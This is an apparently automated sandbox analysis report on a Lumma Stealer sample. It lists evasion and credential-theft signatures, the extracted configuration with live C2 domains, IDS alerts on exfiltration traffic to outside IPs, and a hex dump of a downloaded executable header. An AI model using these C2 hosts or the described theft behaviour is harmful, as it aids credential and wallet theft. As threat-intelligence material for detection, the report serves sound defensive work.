Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1556460
MD5:	3b9288c9ba59f75f9da214b9d6360b73
SHA1:	f16239ebbff31656c955f817d1b858845c1815f3
SHA256:	e9232320f1a90d07cc1446d5cb8a729db942cd3858cf06763f6e4bc571eabcc5
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Downloads executable code via HTTP

Entry point lies outside standard sections

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2608 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3B9288C9BA59F75F9DA214B9D6360B73)

chrome.exe (PID: 7744 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7968 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1892,i,16486464527535265539,12465613375574579712,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1928 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6960 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=1908,i,4712510667556483600,4347713893843015663,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["thicktoys.sbs", "3xc1aimbl0w.sbs", "faintbl0w.sbs", "300snails.sbs"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: file.exe PID: 2608	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 2608	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2608	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T13:18:10.347110+0100	2028371	3	Unknown Traffic	192.168.2.7	49700	172.67.174.133	443	TCP
2024-11-15T13:18:11.427991+0100	2028371	3	Unknown Traffic	192.168.2.7	49701	172.67.174.133	443	TCP
2024-11-15T13:18:12.850491+0100	2028371	3	Unknown Traffic	192.168.2.7	49702	172.67.174.133	443	TCP
2024-11-15T13:18:14.340581+0100	2028371	3	Unknown Traffic	192.168.2.7	49703	172.67.174.133	443	TCP
2024-11-15T13:18:15.929629+0100	2028371	3	Unknown Traffic	192.168.2.7	49704	172.67.174.133	443	TCP
2024-11-15T13:18:18.057874+0100	2028371	3	Unknown Traffic	192.168.2.7	49705	172.67.174.133	443	TCP
2024-11-15T13:18:19.628902+0100	2028371	3	Unknown Traffic	192.168.2.7	49707	172.67.174.133	443	TCP
2024-11-15T13:18:24.227137+0100	2028371	3	Unknown Traffic	192.168.2.7	49728	172.67.174.133	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T13:18:10.730504+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49700	172.67.174.133	443	TCP
2024-11-15T13:18:11.948583+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49701	172.67.174.133	443	TCP
2024-11-15T13:18:24.549602+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49728	172.67.174.133	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T13:18:10.730504+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49700	172.67.174.133	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T13:18:11.948583+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49701	172.67.174.133	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T13:18:10.347110+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.7	49700	172.67.174.133	443	TCP
2024-11-15T13:18:11.427991+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.7	49701	172.67.174.133	443	TCP
2024-11-15T13:18:12.850491+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.7	49702	172.67.174.133	443	TCP
2024-11-15T13:18:14.340581+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.7	49703	172.67.174.133	443	TCP
2024-11-15T13:18:15.929629+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.7	49704	172.67.174.133	443	TCP
2024-11-15T13:18:18.057874+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.7	49705	172.67.174.133	443	TCP
2024-11-15T13:18:19.628902+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.7	49707	172.67.174.133	443	TCP
2024-11-15T13:18:24.227137+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.7	49728	172.67.174.133	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T13:18:25.496873+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49734	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T13:18:09.625782+0100	2057396	1	Domain Observed Used for C2 Detected	192.168.2.7	49920	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T13:18:18.404278+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49705	172.67.174.133	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000003.1508928246.0000000007E00000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1610760443.0000000005CE2000.00000040.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\file.exe

Directory queried: number of queries: 1001

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.7:49700 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.7:49703 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.7:49704 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.7:49702 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057396 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs) : 192.168.2.7:49920 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.7:49701 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.7:49705 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.7:49707 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.7:49728 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49701 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49701 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49700 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49700 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49705 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49728 -> 172.67.174.133:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: thicktoys.sbs
Source: Malware configuration extractor	URLs: 3xc1aimbl0w.sbs
Source: Malware configuration extractor	URLs: faintbl0w.sbs
Source: Malware configuration extractor	URLs: 300snails.sbs

Source: global traffic

TCP traffic: 192.168.2.7:50109 -> 1.1.1.1:53

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 15 Nov 2024 12:18:25 GMTContent-Type: application/octet-streamContent-Length: 2740736Last-Modified: Fri, 15 Nov 2024 11:54:54 GMTConnection: keep-aliveETag: "6737368e-29d200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 c6 9d 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 75 63 6c 75 61 79 62 00 80 29 00 00 a0 00 00 00 72 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 77 72 6b 62 6b 6a 69 00 20 00 00 00 20 2a 00 00 04 00 00 00 ac 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2a 00 00 22 00 00 00 b0 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 13.107.246.67 13.107.246.67
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49700 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49703 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49704 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49702 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49701 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49705 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49707 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49728 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49734 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
